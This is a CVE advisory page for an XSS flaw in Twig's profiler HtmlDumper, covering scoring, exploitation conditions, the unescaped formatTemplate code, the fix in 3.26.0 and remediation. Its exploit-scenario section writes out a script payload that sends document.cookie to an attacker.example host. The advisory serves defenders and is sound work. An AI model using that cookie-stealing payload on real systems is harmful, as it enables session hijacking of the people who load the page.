Skip to main content

Twig CVE-2026-47730

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-05 https://github.com/twigphp/Twig GHSA-2g2g-8p8h-fgwm
5.1
CVSS 4.0 · Vendor: https://github.com/twigphp/Twig
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Write malicious payload into template name store
  2. Delivery
    Application loads template via Twig loader
  3. Exploit
    Profiler HtmlDumper renders unescaped name into HTML
  4. Execution
    Developer opens profiler output in browser
  5. Impact
    Browser executes injected JavaScript

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three concurrent conditions: (1) The Twig profiler is enabled and its HtmlDumper output is rendered in a browser - this is a non-default, debug-mode feature not present in typical production deployments. (2) The attacker can influence the template name as stored in the loader's backing source - for example, write access to a database table used by a custom database-backed loader, or control over the array keys in an ArrayLoader populated from external input. (3) A user (typically a developer or administrator) browses to the profiler output after a request that processed the malicious template name. Exploitation is limited by the fact that the profiler is normally disabled in production, the attacker needs a separate write primitive to the template name store, and a victim must view the profiler output. CVSS vector data is not available to confirm authentication requirements via that signal.

Impact

No CVSS vector or score was published by NVD or the vendor for this CVE, making quantitative risk scoring unavailable. No EPSS probability is calculable without a CVSS vector. The vulnerability is not listed in the CISA KEV catalog, and no public proof-of-concept exploit code has been identified at time of analysis. Real-world risk is substantially constrained by deployment context: Twig's profiler is a debug-mode component and is typically not enabled in production environments; exploitation requires both that the profiler is active and its output is rendered in a browser, AND that an attacker has a path to influence template names persisted in the loader's backing store (e.g., write access to a database or configuration driving an ArrayLoader). The XSS impact, if conditions are met, is real - arbitrary HTML/JavaScript execution in the context of whatever user views the profiler dump - but the attack surface is narrow. The vendor's decision to batch this fix alongside multiple sandbox-bypass CVEs in the same v3.26.0 release signals it was treated as a genuine security issue despite the constrained context.

Exploit ScenarioDerived

An attacker with write access to a database table used as a Twig template name source (e.g., a CMS template registry) inserts a template name containing a JavaScript payload such as <script>document.location='https://attacker.example/steal?c='+document.cookie</script>. When a developer opens the Twig profiler panel in their browser - during a request that loads the malicious template - HtmlDumper renders the unescaped name into the profiler HTML, the browser executes the injected script, and the attacker harvests the developer's session cookies. No public proof-of-concept code has been identified at time of analysis.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 05, 2026

Cross-site scripting in Twig's profiler HtmlDumper component (twig/twig >= 3.0.0, < 3.26.0) allows an attacker who can control template names - via an ArrayLoader key, a database-backed loader row ID, or similar - to inject arbitrary HTML that executes in any browser rendering the profiler output. The root cause is a missing htmlspecialchars() call in HtmlDumper::formatTemplate() and related methods before writing Profile::getTemplate() and Profile::getName() into the HTML response. No public exploit or CISA KEV listing has been identified at time of analysis, but the vendor confirmed the issue and shipped a fix in v3.26.0 as part of a coordinated batch of security releases.

RemediationAI

Upgrade twig/twig to version 3.26.0 or later via Composer (composer update twig/twig). The fix - confirmed in the GHSA advisory and the v3.26.0 release notes - applies htmlspecialchars() to both Profile::getTemplate() and Profile::getName() before HTML insertion. Release details are available at https://github.com/twigphp/Twig/releases/tag/v3.26.0. If an immediate upgrade is not feasible, the most targeted compensating control is to disable the Twig profiler entirely in any environment where its HTML output could be viewed by users other than fully trusted developers, or where template names are sourced from attacker-influenced data stores. In Symfony, this means setting twig.profiler to false or ensuring the profiler toolbar is inaccessible outside local development. Restricting access to the profiler endpoint (e.g., firewall rules to localhost or authenticated admin users only) reduces but does not eliminate risk if those users themselves are adversaries. Note that disabling the profiler may reduce debug visibility in staging environments.

Affected Packages

composer twig/twig fix: 3.26.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Twig (composer package twig/twig) is a widely deployed PHP templating engine. Its optional profiler subsystem includes HtmlDumper, a debug utility that renders a tree of template execution timing data as HTML. The affected code path is HtmlDumper::formatTemplate(), which uses sprintf() to embed profile->getTemplate() directly into an HTML <span> element without first passing the value through htmlspecialchars(). CWE-79 (Improper Neutralization of Input During Web Page Generation) precisely describes this root cause: user-supplied or otherwise externally influenced data is inserted into an HTML context without output encoding. The attacker-controlled input surface includes any mechanism that influences the template name as seen by the Twig loader - notably ArrayLoader (where the template name is the array key, potentially sourced from a database or user input) and custom database-backed loaders where the name field may be a mutable row attribute. This is explicitly classified by the vendor as a profiler/debug tooling output-encoding bug, not a sandbox escape.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/twigphp/Twig) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (https://github.com/twigphp/Twig) · only source for this CVE.

CVSS VectorVendor: https://github.com/twigphp/Twig

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Jul 14, 2026 - 22:22 NVD
5.1 (MEDIUM)

DescriptionCVE.org

Description

Twig\Profiler\Dumper\HtmlDumper writes Profile::getTemplate() and Profile::getName() straight into its HTML output without escaping:

php
protected function formatTemplate(Profile $profile, $prefix): string
{
    return \sprintf('%s└ <span style="background-color: %s">%s</span>', $prefix, self::$colors['template'], $profile->getTemplate());
}

The template name comes from the loader (the array key for ArrayLoader, a row id for a database-backed loader, etc.). When that name is attacker-controlled, the profiler dump emits arbitrary HTML, and any browser that renders it executes the injected markup. This is an output-encoding bug in profiler/debug tooling, not a sandbox escape.

Resolution

HtmlDumper now runs both Profile::getTemplate() and Profile::getName() through htmlspecialchars() before inserting them into the HTML output.

Credits

Twig would like to thank El Kharoubi Iosif for reporting the issue and Nicolas Grekas for fixing it.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

pkg:composer/twig_twig

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy